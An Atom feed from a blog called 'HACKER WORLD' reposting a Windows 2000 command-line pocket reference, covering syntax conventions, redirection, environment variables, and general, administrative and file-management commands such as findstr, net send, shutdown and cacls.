<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearch/1.1/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0' gd:etag='W/&quot;CkIBR348eCp7ImA9WhVaEk8.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089</id><updated>2012-06-08T22:42:36.070-07:00</updated><title>HACKER WORLD</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hackforhumanity.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4998142750566450089/posts/default?redirect=false&amp;v=2'/><link rel='alternate' type='text/html' href='http://hackforhumanity.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Nandan Singh</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh6.googleusercontent.com/-dkQxmZDW1yA/AAAAAAAAAAI/AAAAAAAAASM/IWNB3lY39Co/s512-c/photo.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>14</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry gd:etag='W/&quot;CkIBR386eip7ImA9WhVaEk8.&quot;'><id>tag:blogger.com,1999:blog-4998142750566450089.post-7622896833726106453</id><published>2012-06-08T22:42:00.000-07:00</published><updated>2012-06-08T22:42:36.112-07:00</updated><app:edited xmlns:app='http://www.w3.org/2007/app'>2012-06-08T22:42:36.112-07:00</app:edited><title>Windows 2000 Commands</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;br /&gt;
&lt;br /&gt;
Chapter 1. Windows 2000 Commands Pocket&lt;br /&gt;
Reference&lt;br /&gt;
1.1 Introduction&lt;br /&gt;
1.2 Entering Commands&lt;br /&gt;
1.3 Installing Extra Administrative Commands&lt;br /&gt;
1.4 Help Commands&lt;br /&gt;
1.5 General-Purpose Commands&lt;br /&gt;
1.6 General Administrative Commands&lt;br /&gt;
1.7 Working with Files&lt;br /&gt;
1.8 Working with Directories&lt;br /&gt;
1.9 Working with Disks and Filesystems&lt;br /&gt;
1.10 Managing Shares&lt;br /&gt;
1.11 Printing&lt;br /&gt;
1.12 Networking-Related Commands&lt;br /&gt;
1.13 Administering Users and Groups&lt;br /&gt;
1.14 Managing Processes&lt;br /&gt;
1.15 Managing Services&lt;br /&gt;
1.16 Accessing the System Registry&lt;br /&gt;
1.17 Active Directory and Domain Management&lt;br /&gt;
Commands&lt;br /&gt;
1.18 Installation-Related Commands&lt;br /&gt;
1.19 The Windows 2000 Recovery Console&lt;br /&gt;
1.20 Command Equivalents for Program Menu Items&lt;br /&gt;
1.21 User Rights and System Privileges&lt;br /&gt;
1.22 Script-Related Constructs&lt;br /&gt;
1.23 Commands Useful in Scripts&lt;br /&gt;
1.24 Windows 2000 GUI Tips and Tricks&lt;br /&gt;
1.25 Useful Windows 2000 Web Sites&lt;br /&gt;
1.1 Introduction&lt;br /&gt;
This desktop reference documents Windows 2000 command mode. It is designed for system&lt;br /&gt;
administrators, but will also prove beneficial to many other types of users. It includes most&lt;br /&gt;
available Windows 2000 commands, as well as the most useful system administration&lt;br /&gt;
command-line utilities from the Resource Kit (space permitting). Resource Kit commands are&lt;br /&gt;
marked with an "RK" superscript in their header lines.&lt;br /&gt;
1.1.1 What's Not Included&lt;br /&gt;
Space limitations have forced us to exclude the following classes of special-purpose&lt;br /&gt;
commands from this reference:&lt;br /&gt;
• Multiuser Terminal Services commands (since this facility is an add-on to the&lt;br /&gt;
standard Windows 2000 products)&lt;br /&gt;
• Clustering-related utilities&lt;br /&gt;
• Most NetWare-related commands and options&lt;br /&gt;
• SNMP-related commands&lt;br /&gt;
• Multicast networking-related commands&lt;br /&gt;
• Services for Macintosh commands&lt;br /&gt;
• Java subsystem-related commands&lt;br /&gt;
A few additional commands are also excluded, either because they have been deemed&lt;br /&gt;
redundant, obscure, obsolete, broken, unacceptably insecure, or because they perform&lt;br /&gt;
inadvisable actions or procedures. Lingering unneeded DOS commands (e.g., subst,&lt;br /&gt;
commands used in Config.SYS files, etc.) are likewise omitted.&lt;br /&gt;
Finally, whenever several utilities perform essentially identical tasks, only the best of them&lt;br /&gt;
are included.&lt;br /&gt;
1.1.2 Organization&lt;br /&gt;
Commands are arranged in groups related to their purposes and functions; within a group,&lt;br /&gt;
commands are arranged alphabetically. Consult the index to locate a desired command.&lt;br /&gt;
Command options are grouped by function and ordered by importance. Occasionally,&lt;br /&gt;
unimportant options are omitted.&lt;br /&gt;
Much of the information in this book not only corresponds to Windows 2000, but also applies&lt;br /&gt;
to earlier versions of Windows NT. Some commands are available only with the Server or&lt;br /&gt;
Advanced Server version of the operating system.&lt;br /&gt;
1.1.3 Typographic Conventions&lt;br /&gt;
cmd&lt;br /&gt;
Bold denotes a Windows 2000 command or option.&lt;br /&gt;
arg&lt;br /&gt;
Italics denotes variable parameters (i.e., things you must fill in).&lt;br /&gt;
[...]&lt;br /&gt;
Brackets denote optional parts of commands.&lt;br /&gt;
a | b&lt;br /&gt;
A pipe indicates that either a or b should be selected.&lt;br /&gt;
cmdRK&lt;br /&gt;
The "RK" superscript denotes a Resource Kit command.&lt;br /&gt;
HKLM&lt;br /&gt;
HKCU&lt;br /&gt;
Registry key initial components are abbreviated.&lt;br /&gt;
Menu name menu name . . .&lt;br /&gt;
The arrow symbol ( ) combined with boldface denotes a Windows 2000 menu path.&lt;br /&gt;
1.2 Entering Commands&lt;br /&gt;
• Commands are not case-sensitive.&lt;br /&gt;
• Command options are not usually case-sensitive. The few options that are lowercase&lt;br /&gt;
only are specified as such in this book. Uppercase and mixed-case options can be&lt;br /&gt;
assumed to be case-insensitive.&lt;br /&gt;
• Command options are generally preceded by a forward slash—for example, /X. In&lt;br /&gt;
many cases, a minus sign may be substituted for the slash if desired. A few&lt;br /&gt;
commands (mostly originating in the Resource Kit) require that their options be&lt;br /&gt;
preceded by a minus sign.&lt;br /&gt;
• Option placement is not consistent across all commands. Consult the syntax summary&lt;br /&gt;
for option placement for a specific command.&lt;br /&gt;
• Distinct command arguments are separated by spaces, commas, or semicolons.&lt;br /&gt;
• A command may be continued onto a second (or subsequent) line by placing a caret&lt;br /&gt;
(^) as the final character of the initial line.&lt;br /&gt;
• The caret is also used as the escape symbol, protecting the following character from&lt;br /&gt;
being processed by the command interpreter.&lt;br /&gt;
• Multiple commands may be concatenated by an ampersand: command1 &amp;amp;&lt;br /&gt;
command2. The commands are executed in sequence.&lt;br /&gt;
• Commands may be executed conditionally, based on the success or failure of a&lt;br /&gt;
preceding command, by joining them with &amp;amp;&amp;amp; or || (respectively):&lt;br /&gt;
command1 &amp;amp;&amp;amp; command2&lt;br /&gt;
Execute command2 only if command1 succeeds.&lt;br /&gt;
command1 || command2&lt;br /&gt;
Execute command2 only if command1 fails.&lt;br /&gt;
1.2.1 I/O Redirection&lt;br /&gt;
&amp;lt; file&lt;br /&gt;
Take standard input from a file.&lt;br /&gt;
&amp;gt; file&lt;br /&gt;
1&amp;gt; file&lt;br /&gt;
Send standard output to a file.&lt;br /&gt;
&amp;gt;&amp;gt; file&lt;br /&gt;
1&amp;gt;&amp;gt; file&lt;br /&gt;
Append standard output to a file.&lt;br /&gt;
2 &amp;gt; file&lt;br /&gt;
Send standard error to a file.&lt;br /&gt;
2 &amp;gt;&amp;gt; file&lt;br /&gt;
Append standard error to a file.&lt;br /&gt;
&amp;gt; file 2 &amp;gt;&amp;amp;1&lt;br /&gt;
Combine standard output and standard error and send both to the same destination&lt;br /&gt;
(use &amp;gt;&amp;gt; before file to append).&lt;br /&gt;
command1 | command2&lt;br /&gt;
command1 0 &amp;gt; command2&lt;br /&gt;
Form a pipe, linking the standard output of command1 to the standard input of&lt;br /&gt;
command2.&lt;br /&gt;
1.2.2 Environment Variables&lt;br /&gt;
This section lists several key Windows 2000 environment variables. Note that environment&lt;br /&gt;
variables are dereferenced by enclosing the name between percent signs—for example,&lt;br /&gt;
%SystemRoot%. System and current user environment variables are modified via the path&lt;br /&gt;
My Computer Properties Advanced Environment Variables:&lt;br /&gt;
PATH&lt;br /&gt;
A semicolon-separated list of directories, which are searched in turn for a command&lt;br /&gt;
entered without a full path.&lt;br /&gt;
PATHEXT&lt;br /&gt;
A semicolon-separated list of file extensions that should be applied in turn to bare&lt;br /&gt;
command names when searching for the proper executable. Extensions in the list&lt;br /&gt;
must include the initial period.&lt;br /&gt;
PROGRAMFILES&lt;br /&gt;
The location of the Program Files folder (usually C:\Program Files).&lt;br /&gt;
SYSTEMROOT&lt;br /&gt;
The location of the Windows 2000 system directory (usually C:\WinNT).&lt;br /&gt;
TEMP and TMP&lt;br /&gt;
Paths to a directory that applications may use for temporary file and scratch storage&lt;br /&gt;
space.&lt;br /&gt;
1.3 Installing Extra Administrative Commands&lt;br /&gt;
The Windows 2000 distribution CD includes several additional groups of administrative&lt;br /&gt;
commands that must be installed separately. They are in the following directory locations on&lt;br /&gt;
the CD:&lt;br /&gt;
• \Support\Tools\Setup: this installs tools into %SystemRoot%\Program Files\Support&lt;br /&gt;
Tools&lt;br /&gt;
• \Support\Tools\Deploy.Cab: this contains system installation automation tools; these&lt;br /&gt;
must be installed manually to whatever location you desire&lt;br /&gt;
• \I386\AdminPak.MSI: this installs tools into a standard system software tree (i.e.,&lt;br /&gt;
under %SystemRoot%)&lt;br /&gt;
• \ValueAdd\3rdParty\Mgmt\Winstel\SwiAdmLE.MSI: this installs tools into&lt;br /&gt;
%SystemRoot%\Program Files\VERITAS Software&lt;br /&gt;
The Resource Kit must be purchased separately (available from most booksellers and&lt;br /&gt;
software sellers). Once installed, these tools are located in the directory&lt;br /&gt;
%SystemRoot%\Program Files\Resource Kit. Note that a few tools must be installed&lt;br /&gt;
manually; they are generally located in subdirectories of \Apps on the Resource Kit CD.&lt;br /&gt;
1.4 Help Commands&lt;br /&gt;
help command&lt;br /&gt;
Obtain help for a standard Windows 2000 command.&lt;br /&gt;
command /?&lt;br /&gt;
Obtain help for the specified command.&lt;br /&gt;
net help command&lt;br /&gt;
Obtain help for one of the net commands.&lt;br /&gt;
net helpmsg nnnn&lt;br /&gt;
Explain Windows 2000 message number nnnn.&lt;br /&gt;
ntbooks&lt;br /&gt;
Open main Windows 2000 help file. Navigate to Troubleshooting and Additional&lt;br /&gt;
Resources Additional Resources Windows 2000 Commands in the help file&lt;br /&gt;
to find documentation of the various commands.&lt;br /&gt;
W2RKSupp.Chm&lt;br /&gt;
The help file for the additional support tools available on the Windows 2000&lt;br /&gt;
distribution CD.&lt;br /&gt;
Deploy.Chmand Unattend.Doc&lt;br /&gt;
The help files and documentation related to unattended and other automated&lt;br /&gt;
Windows 2000 installations (these files are located wherever you installed the&lt;br /&gt;
installation automation tools from the Windows 2000 distribution CD, discussed in&lt;br /&gt;
the previous section).&lt;br /&gt;
W2RKTool.ChmRK&lt;br /&gt;
The main help file for Resource Kit commands. Other useful help files in the&lt;br /&gt;
Resource Kit include:&lt;br /&gt;
• W2RKBook.ChmRK: Resource Kit books.&lt;br /&gt;
• RegEntry.ChmRK: Descriptions of registry keys and values.&lt;br /&gt;
• GP.ChmRK: Descriptions of many Group Policy settings.&lt;br /&gt;
• W2000Msgs.ChmRK: Documentation of Windows 2000 error messages and event log&lt;br /&gt;
entry types.&lt;br /&gt;
• Counters.ChmRK: Documentation of all Performance Monitor counters.&lt;br /&gt;
1.5 General-Purpose Commands&lt;br /&gt;
clipRK&lt;br /&gt;
command |clip&lt;br /&gt;
clip&lt;br /&gt;
&amp;lt; file&lt;br /&gt;
Place the command output file /specified file contents on the system clipboard.&lt;br /&gt;
cmd&lt;br /&gt;
cmd&lt;br /&gt;
[options] [&lt;br /&gt;
/C&lt;br /&gt;
|&lt;br /&gt;
/K&lt;br /&gt;
[&lt;br /&gt;
/S&lt;br /&gt;
] command]&lt;br /&gt;
Start a new Windows 2000 command interpreter. If command is specified, that command is&lt;br /&gt;
executed. Enclose multiple commands in quotation marks. See the cmd /? documentation for&lt;br /&gt;
other features (e.g., command /path completion, delayed environment variable expansion, and&lt;br /&gt;
so on).&lt;br /&gt;
Use the exit command to end a command interpreter session.&lt;br /&gt;
Options&lt;br /&gt;
/C | /K [/S]&lt;br /&gt;
Carry out the specified command, retaining (/C ) or terminating ( /K) the command&lt;br /&gt;
interpreter afterward. With either /C or /K, /S says to process quotes in the command&lt;br /&gt;
string before execution. (Usually they are preserved.)&lt;br /&gt;
/Q&lt;br /&gt;
Disable command echoing (see echo OFF, later in this book).&lt;br /&gt;
/E:ON | OFF&lt;br /&gt;
Enable/disable command interpreter extensions. Set the default by the value of the&lt;br /&gt;
HKCU\ or HKLM\ Software\Microsoft\Command Processor\Enable Extensions&lt;br /&gt;
registry key (enabled by default).&lt;br /&gt;
/A | /U&lt;br /&gt;
Format command output as ANSI (default) or Unicode, respectively.&lt;br /&gt;
/D&lt;br /&gt;
Disable registry autorun commands in the HKLM\ or&lt;br /&gt;
HKCU\Software\Microsoft\Command Processor\Autorun registry key.&lt;br /&gt;
cscript&lt;br /&gt;
cscript [script] [options]&lt;br /&gt;
Run a script using the Windows Scripting Host facility. The script filename must include a&lt;br /&gt;
recognized extension indicating the scripting language. See the ntbooks documentation for&lt;br /&gt;
script execution-related options. Note that cscript options are preceded by two slashes ( // ) in&lt;br /&gt;
order to distinguish them from the script's own options.&lt;br /&gt;
cscript //h:cscript&lt;br /&gt;
Make cscript the default script host, which allows scripts to be run by entering the script&lt;br /&gt;
name as the command.&lt;br /&gt;
date&lt;br /&gt;
date [mm-dd-[yy]yy] [/T]&lt;br /&gt;
Set to the specified date (prompted if omitted). The /T option displays the date without&lt;br /&gt;
modifying it.&lt;br /&gt;
doskey&lt;br /&gt;
doskey [options]&lt;br /&gt;
Recall previous commands or create macros (aliases).&lt;br /&gt;
Command History and Editing Options&lt;br /&gt;
/HISTORY&lt;br /&gt;
Display the entire command history list.&lt;br /&gt;
/LISTSIZE=n&lt;br /&gt;
Set the size of the history list to n.&lt;br /&gt;
Once doskey is loaded, press F7 to display a selectable command history list, press Alt-F7 to&lt;br /&gt;
clear it, and press F9 to go to a specific command number.&lt;br /&gt;
/INSERT | /OVERSTRIKE&lt;br /&gt;
Set the default editing mode for recalled commands to insert or overstrike ( generally&lt;br /&gt;
the default).&lt;br /&gt;
Macro Options&lt;br /&gt;
macroname =command&lt;br /&gt;
Define a macro. Within command, $T inserts a command separator, $1 through $9&lt;br /&gt;
denote command arguments one through nine, and $* denotes all command&lt;br /&gt;
arguments.&lt;br /&gt;
/MACROS:ALL&lt;br /&gt;
Display all defined macros.&lt;br /&gt;
/MACROFILE=file&lt;br /&gt;
Install all macros stored in the specified file.&lt;br /&gt;
/EXENAME=exefile&lt;br /&gt;
Specify an executable file to associate with the macros being defined.&lt;br /&gt;
/MACROS:exefile&lt;br /&gt;
Display all defined macros associated with the specified executable file.&lt;br /&gt;
The Alt-F10 key sequence clears all defined macros.&lt;br /&gt;
find&lt;br /&gt;
find [options] string [files]&lt;br /&gt;
Search for a literal text string in the specified files, in standard input (via a pipe), or in text&lt;br /&gt;
entered at its prompt, and display matching lines.&lt;br /&gt;
Options&lt;br /&gt;
/V&lt;br /&gt;
Display only nonmatching lines.&lt;br /&gt;
/I&lt;br /&gt;
Perform a case-insensitive search (case-sensitive is the default).&lt;br /&gt;
/C&lt;br /&gt;
Display a count of matching lines only.&lt;br /&gt;
/N&lt;br /&gt;
Display the line number preceding each line.&lt;br /&gt;
findstr&lt;br /&gt;
findstr [options] /C:string | /G:file | strings [files]&lt;br /&gt;
Search for one or more text strings or regular expressions in the specified files or in standard&lt;br /&gt;
input (if no files are given), and display matching lines. Enclose multiple search strings in&lt;br /&gt;
quotation marks.&lt;br /&gt;
Options&lt;br /&gt;
/R&lt;br /&gt;
Interpret search strings as regular expressions.&lt;br /&gt;
/L&lt;br /&gt;
Interpret search strings as literal text.&lt;br /&gt;
/C:string&lt;br /&gt;
Designate the specified string as a literal text string (useful for strings with internal&lt;br /&gt;
spaces).&lt;br /&gt;
/G: file&lt;br /&gt;
Read the search strings from the specified file. A slash for file says to read the&lt;br /&gt;
filename from the console.&lt;br /&gt;
/B | /E&lt;br /&gt;
Match the search string only at the beginning ( /B ) or end ( /E ) of a line (don't&lt;br /&gt;
include both).&lt;br /&gt;
/I&lt;br /&gt;
Perform a case-insensitive search.&lt;br /&gt;
/V&lt;br /&gt;
Display nonmatching lines.&lt;br /&gt;
/X&lt;br /&gt;
Display only lines that match exactly.&lt;br /&gt;
/N | /O&lt;br /&gt;
Precede displayed lines with their line numbers or character offsets, respectively.&lt;br /&gt;
/M&lt;br /&gt;
Display only the names of files containing a match.&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories in the file list.&lt;br /&gt;
/F: file&lt;br /&gt;
Read the file list from the specified file. A slash for file says to read the file list from&lt;br /&gt;
the console.&lt;br /&gt;
/D:dirlist&lt;br /&gt;
Search the files in the comma-separated directory list.&lt;br /&gt;
/P&lt;br /&gt;
Skip files containing nonprintable characters.&lt;br /&gt;
Regular Expression Components&lt;br /&gt;
.&lt;br /&gt;
Any single character.&lt;br /&gt;
^ $&lt;br /&gt;
Beginning /end of line.&lt;br /&gt;
\&amp;lt; | \&amp;gt;&lt;br /&gt;
Beginning /end of word.&lt;br /&gt;
\x&lt;br /&gt;
Literal character: used to escape special characters in regular expressions (e.g., \$&lt;br /&gt;
refers to a literal dollar sign).&lt;br /&gt;
[chars]&lt;br /&gt;
Any character in the list.&lt;br /&gt;
[^chars]&lt;br /&gt;
Any character not in the list.&lt;br /&gt;
[a-z]&lt;br /&gt;
Any character falling in the indicated character range. Note that multiple ranges and&lt;br /&gt;
character lists can be placed inside a single set of brackets.&lt;br /&gt;
*&lt;br /&gt;
Zero or more of the previous item; e.g., [0-9]* means zero or more numbers and .*&lt;br /&gt;
means zero or more characters (matches anything ).&lt;br /&gt;
logoffRK&lt;br /&gt;
logoff /F /N&lt;br /&gt;
End the current logon session, suppressing all confirmation prompts.&lt;br /&gt;
more&lt;br /&gt;
more [options] [files]&lt;br /&gt;
Display its standard input or the contents of the specified files, one screen at a time.&lt;br /&gt;
Options&lt;br /&gt;
/C&lt;br /&gt;
Clear the screen before displaying the first page.&lt;br /&gt;
/S&lt;br /&gt;
Combine (squeeze) multiple blank lines into one.&lt;br /&gt;
/Tn&lt;br /&gt;
Expand tabs to n spaces. By default, tabs are expanded to eight spaces.&lt;br /&gt;
/P&lt;br /&gt;
Expand form feed characters.&lt;br /&gt;
+n&lt;br /&gt;
Begin the display at line n of the input or first file.&lt;br /&gt;
The command also uses any options set in the MORE environment variable.&lt;br /&gt;
nowRK&lt;br /&gt;
now string&lt;br /&gt;
Precede the specified string with the current date and time (designed to create timestamped&lt;br /&gt;
message strings).&lt;br /&gt;
path&lt;br /&gt;
path [path]&lt;br /&gt;
Display or set the search path (a semicolon-separated list of directories). The form %path%&lt;br /&gt;
may be used to include the current search path in a modified one.&lt;br /&gt;
pathmanRK&lt;br /&gt;
pathman /option path&lt;br /&gt;
Manipulate the user or system PATH variables according to the specified option. The latter is&lt;br /&gt;
in the form /xy, where x is a (add the specified path components) or r (remove components)&lt;br /&gt;
and y is u (user path) or s (system path).&lt;br /&gt;
qgrepRK&lt;br /&gt;
qgrep [options] regular-expressions files&lt;br /&gt;
Search files for patterns and display matching lines.&lt;br /&gt;
Options&lt;br /&gt;
/B | /E&lt;br /&gt;
Match pattern at the beginning /end of a line.&lt;br /&gt;
/L | /X&lt;br /&gt;
Treat search strings as literal/regular expressions. /X is the default.&lt;br /&gt;
/V | /X&lt;br /&gt;
Display nonmatching /exactly matching lines.&lt;br /&gt;
/Y&lt;br /&gt;
Perform a case-insensitive search.&lt;br /&gt;
/N&lt;br /&gt;
Precede displayed lines with line numbers.&lt;br /&gt;
/L&lt;br /&gt;
Display the filename only if the file contains a match.&lt;br /&gt;
setxRK&lt;br /&gt;
setx env-variable value [-m]&lt;br /&gt;
Set the value of an environment variable in the current user or computer (-m) environment (as&lt;br /&gt;
if you had used the My Computer Properties Advanced Environment Variables&lt;br /&gt;
dialog ). setx also has more complex variations; see W2RKTools.Chm for details.&lt;br /&gt;
sort&lt;br /&gt;
sort [options] [&amp;lt; file]&lt;br /&gt;
Sort standard input (use I/O redirection to sort a file).&lt;br /&gt;
Options&lt;br /&gt;
/R&lt;br /&gt;
Reverse usual sort order (i.e., Z to A, 9 to 0).&lt;br /&gt;
/+n&lt;br /&gt;
Start sorting in column n.&lt;br /&gt;
/L C&lt;br /&gt;
Sort according to characters' binary encodings rather than the sort order implied by&lt;br /&gt;
the system default locale.&lt;br /&gt;
/REC n&lt;br /&gt;
Specify the maximum number of characters (n) per line. The default is 4,096 and the&lt;br /&gt;
maximum value is 65,535.&lt;br /&gt;
/T path&lt;br /&gt;
Use the indicated directory as the command's temporary working directory. The&lt;br /&gt;
default is the system temporary directory.&lt;br /&gt;
/O output-file-path&lt;br /&gt;
Write the sorted data to the specified file rather than as standard output.&lt;br /&gt;
time&lt;br /&gt;
time [hr[:min[:sec[.hd]]]] [A | P] [/T]&lt;br /&gt;
Set the time (prompted if omitted). The /T option displays the time without modifying it.&lt;br /&gt;
title&lt;br /&gt;
title string&lt;br /&gt;
Set the title of the current command (cmd.exe) window.&lt;br /&gt;
ver&lt;br /&gt;
ver&lt;br /&gt;
Display the Windows 2000 operating system version.&lt;br /&gt;
whereRK&lt;br /&gt;
where [/r dir] filename&lt;br /&gt;
Display the full path to the specified file, searching the current search path (default) or the&lt;br /&gt;
directory tree that is rooted at the indicated directory.&lt;br /&gt;
Options&lt;br /&gt;
/t&lt;br /&gt;
Display the sizes and times for all located files.&lt;br /&gt;
/e&lt;br /&gt;
Display the executable type of each located file.&lt;br /&gt;
whoamiRK&lt;br /&gt;
Whoami&lt;br /&gt;
Display the username of the currently logged-in user.&lt;br /&gt;
Options&lt;br /&gt;
/User&lt;br /&gt;
Display username (required if this information is desired along with additional&lt;br /&gt;
options).&lt;br /&gt;
/Groups&lt;br /&gt;
Display group memberships.&lt;br /&gt;
/Priv&lt;br /&gt;
Display user rights.&lt;br /&gt;
/SID&lt;br /&gt;
Display SIDs along with other information (can't be used alone).&lt;br /&gt;
/All&lt;br /&gt;
Display entire security access token.&lt;br /&gt;
1.6 General Administrative Commands&lt;br /&gt;
assoc&lt;br /&gt;
assoc [.ext=filestypename]&lt;br /&gt;
Associate a file extension with a named file type. See also ftype.&lt;br /&gt;
ftypeRK&lt;br /&gt;
ftype [filetypename=command-string]&lt;br /&gt;
Display (no parameters) or define file type-specific command invocations. In the latter mode,&lt;br /&gt;
the specified command is invoked whenever a file of the specified type is executed. See also&lt;br /&gt;
assoc.&lt;br /&gt;
mode&lt;br /&gt;
mode COMn: BAUD=bPARITY=pDATA =dSTOP =s ^&lt;br /&gt;
xon =on | off to =on | off odsr =on | off octs=on | ^&lt;br /&gt;
off rts=on | off | hs | tg idsr =on | off dtr=on | ^&lt;br /&gt;
off | hs&lt;br /&gt;
Set the characteristics of a serial line. See the ntbooks documentation for details about the&lt;br /&gt;
available settings as well as other forms of this command.&lt;br /&gt;
msinfo32&lt;br /&gt;
MSInfo32 /Report file [/Computer name]&lt;br /&gt;
Create a report of the system configuration for the local or specified system and place it in the&lt;br /&gt;
specified text file. See W2RKSupp.Chm for options to limit the output and change its format.&lt;br /&gt;
Note that similar functionality is provided by the graphical utility winrep.&lt;br /&gt;
This command is located in the %ProgramFiles%\Common Files\Microsoft Shared\MSInfo&lt;br /&gt;
directory (this directory is not typically in the PATH).&lt;br /&gt;
net computer&lt;br /&gt;
net computer \\host /ADD | /DELETE&lt;br /&gt;
Add or remove the specified computer from the domain database.&lt;br /&gt;
net name&lt;br /&gt;
net name [name] [/DELETE]&lt;br /&gt;
Without parameters, display the current name set (message recipients targeted to this user&lt;br /&gt;
account). If an argument is included, the command adds the specified name to the current&lt;br /&gt;
name set.&lt;br /&gt;
The /DELETE option removes the specified name from the name set.&lt;br /&gt;
net send&lt;br /&gt;
net send who message&lt;br /&gt;
Send a message to one or more users. who may be one of the following:&lt;br /&gt;
• A username&lt;br /&gt;
• A message recipient defined with net name&lt;br /&gt;
• A hostname (corresponds to any user logged into the specified computer)&lt;br /&gt;
• An asterisk for all users in the local domain&lt;br /&gt;
• /DOMAIN:name for all users in the specified domain&lt;br /&gt;
• /USERS for all users with connections to the local server&lt;br /&gt;
net time&lt;br /&gt;
net time from[/SET]&lt;br /&gt;
Display the system time on a specified system. /SET says to synchronize the local time with&lt;br /&gt;
it. from takes the form \\hostname, /DOMAIN:name, or /RTSDOMAIN:name ; the latter&lt;br /&gt;
specifies the domain of a Reliable Time Server.&lt;br /&gt;
net time [\\host] [/QUERYSNTP | /SETSNTP:servers]&lt;br /&gt;
Display or set the name of the Network Time Protocol (NTP) server(s) used by the local or&lt;br /&gt;
specified system. The server list in the /SETSNTP option is space-separated.&lt;br /&gt;
shutdownRK&lt;br /&gt;
shutdown \\remote-host | /L [options] [message]&lt;br /&gt;
Shut down a Windows 2000 system. Include /L to shut down the local system or to specify a&lt;br /&gt;
remote host as the command's first argument.&lt;br /&gt;
Options&lt;br /&gt;
/R&lt;br /&gt;
Reboot after shutting down.&lt;br /&gt;
/T:n&lt;br /&gt;
Wait n seconds before shutting down (the default is 20).&lt;br /&gt;
/Y&lt;br /&gt;
Answer yes to all subsequent prompts.&lt;br /&gt;
/A&lt;br /&gt;
Abort a pending shutdown.&lt;br /&gt;
/C&lt;br /&gt;
Close open applications without saving data.&lt;br /&gt;
timezoneRK&lt;br /&gt;
timezone /G | /S start-date end-date&lt;br /&gt;
Display ( /G) or set ( /S) the starting and ending dates for the current time zone's daylight&lt;br /&gt;
savings time.&lt;br /&gt;
uptimeRK&lt;br /&gt;
uptime [server]&lt;br /&gt;
Display the amount of time since the last boot for the local or specified system.&lt;br /&gt;
1.7 Working with Files&lt;br /&gt;
attrib&lt;br /&gt;
attrib [options] [files]&lt;br /&gt;
Set DOS file attributes (or display the current attributes if no options are specified). The file&lt;br /&gt;
list defaults to all files in the current directory.&lt;br /&gt;
Options&lt;br /&gt;
+x| -x&lt;br /&gt;
Add or remove an attribute, where x is one of the following code characters: R (readonly),&lt;br /&gt;
H (hidden), S (system) or A (archive).&lt;br /&gt;
/S&lt;br /&gt;
Recurse subdirectories in the file list.&lt;br /&gt;
/D&lt;br /&gt;
Apply attributes to folders themselves.&lt;br /&gt;
cacls, xcaclsRK&lt;br /&gt;
cacls | xcacls files [options]&lt;br /&gt;
Display (if no options are specified) or modify access control lists (ACLs), using Windows&lt;br /&gt;
NT 4 or Windows 2000 permission sets, respectively.&lt;br /&gt;
Options&lt;br /&gt;
Multiple options and instances of options are allowed.&lt;br /&gt;
/T&lt;br /&gt;
Propagate changes to subdirectories in the file list.&lt;br /&gt;
/E&lt;br /&gt;
Edit the existing ACL (the default is to replace it).&lt;br /&gt;
/G user : perms [;dir-perms]&lt;br /&gt;
/P user : perms[;dir-perms]&lt;br /&gt;
Grant or replace (respectively) permissions in the access control entries (ACEs) for&lt;br /&gt;
the specified user. perms indicates the defined permission set. For cacls, it is either R&lt;br /&gt;
(read), C (change), F (full control), or N (none, applies to /P with cacls only). xcacls&lt;br /&gt;
uses several additional codes for the other atomic permissions: P (change&lt;br /&gt;
permissions), O (take ownership), X (execute), W (write), and D (delete). Directories&lt;br /&gt;
take a second permission string, separated from the first by a semicolon. In this&lt;br /&gt;
context, there is an additional code letter: T (not specified).&lt;br /&gt;
/R user&lt;br /&gt;
Remove the ACEs for the specified user (requires /E).&lt;br /&gt;
/D user&lt;br /&gt;
Deny the specified user all access to the files.&lt;br /&gt;
/C&lt;br /&gt;
Continue applying changes even if an error occurs.&lt;br /&gt;
/Y&lt;br /&gt;
Suppress confirmation prompts (xcacls only).&lt;br /&gt;
comp&lt;br /&gt;
comp [options] fileset1 fileset2&lt;br /&gt;
Compare two sets of files (or individual files). If multiple files are specified, compare files of&lt;br /&gt;
the same name. Differences are reported only for files of identical size. (Use fc to compare&lt;br /&gt;
files of different sizes.)&lt;br /&gt;
Options&lt;br /&gt;
/A&lt;br /&gt;
Display the differences in ASCII form (the default is decimal).&lt;br /&gt;
/L&lt;br /&gt;
Display line numbers for differing lines.&lt;br /&gt;
/C&lt;br /&gt;
Perform a case-insensitive comparison.&lt;br /&gt;
/N=n&lt;br /&gt;
Compare only the first n lines of each file.&lt;br /&gt;
compact&lt;br /&gt;
compact [options] [files]&lt;br /&gt;
Compress or uncompress the specified files, setting directories' default settings, or display the&lt;br /&gt;
compression status of the specified files. If omitted, the file list defaults to the current&lt;br /&gt;
directory and its contents.&lt;br /&gt;
Options&lt;br /&gt;
/C | /U&lt;br /&gt;
Specify a compression operation or an uncompression operation, respectively.&lt;br /&gt;
/S[:dir]&lt;br /&gt;
Recurse subdirectories in the file list. If specified, dir sets the current working&lt;br /&gt;
directory.&lt;br /&gt;
/F&lt;br /&gt;
Force compression even on already compressed files. (These are skipped by default.)&lt;br /&gt;
/I&lt;br /&gt;
Continue processing files even if an error occurs.&lt;br /&gt;
/Q&lt;br /&gt;
Request terse output.&lt;br /&gt;
/A&lt;br /&gt;
Display hidden and system files that are omitted by default (these files are processed,&lt;br /&gt;
however).&lt;br /&gt;
convert&lt;br /&gt;
convert x: /FS:NTFS&lt;br /&gt;
Convert Drive x to an NTFS filesystem. Add the /V option for more verbose output.&lt;br /&gt;
